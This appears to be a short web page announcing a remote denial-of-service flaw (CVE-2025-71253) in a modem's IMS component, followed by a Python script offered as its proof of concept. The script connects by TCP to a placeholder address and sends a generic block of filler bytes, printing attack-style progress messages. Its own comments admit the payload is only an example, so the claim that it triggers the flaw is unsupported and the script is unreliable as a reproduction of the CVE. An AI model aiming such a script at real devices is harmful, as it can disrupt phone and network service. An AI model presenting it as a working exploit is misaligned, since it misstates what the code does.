CVE-2025-71253 Modem IMS远程拒绝服务漏洞

import socket # Proof of Concept for CVE-2025-71253 # This script demonstrates a potential trigger for the IMS DoS. # Note: Target specific IP and Port configuration is required. def send_malicious_ims_packet(target_ip, target_port): # Constructing a payload that mimics improper input # The specific byte sequence depends on the Modem IMS implementation details payload = b"\x00\x01\x02\x03" + b"\x41" * 1024 # Example malformed payload try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[*] Sending payload...") s.send(payload) print("[+] Payload sent successfully. Check device status.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target details TARGET_IP = "192.168.1.1" TARGET_PORT = 9999 send_malicious_ims_packet(TARGET_IP, TARGET_PORT)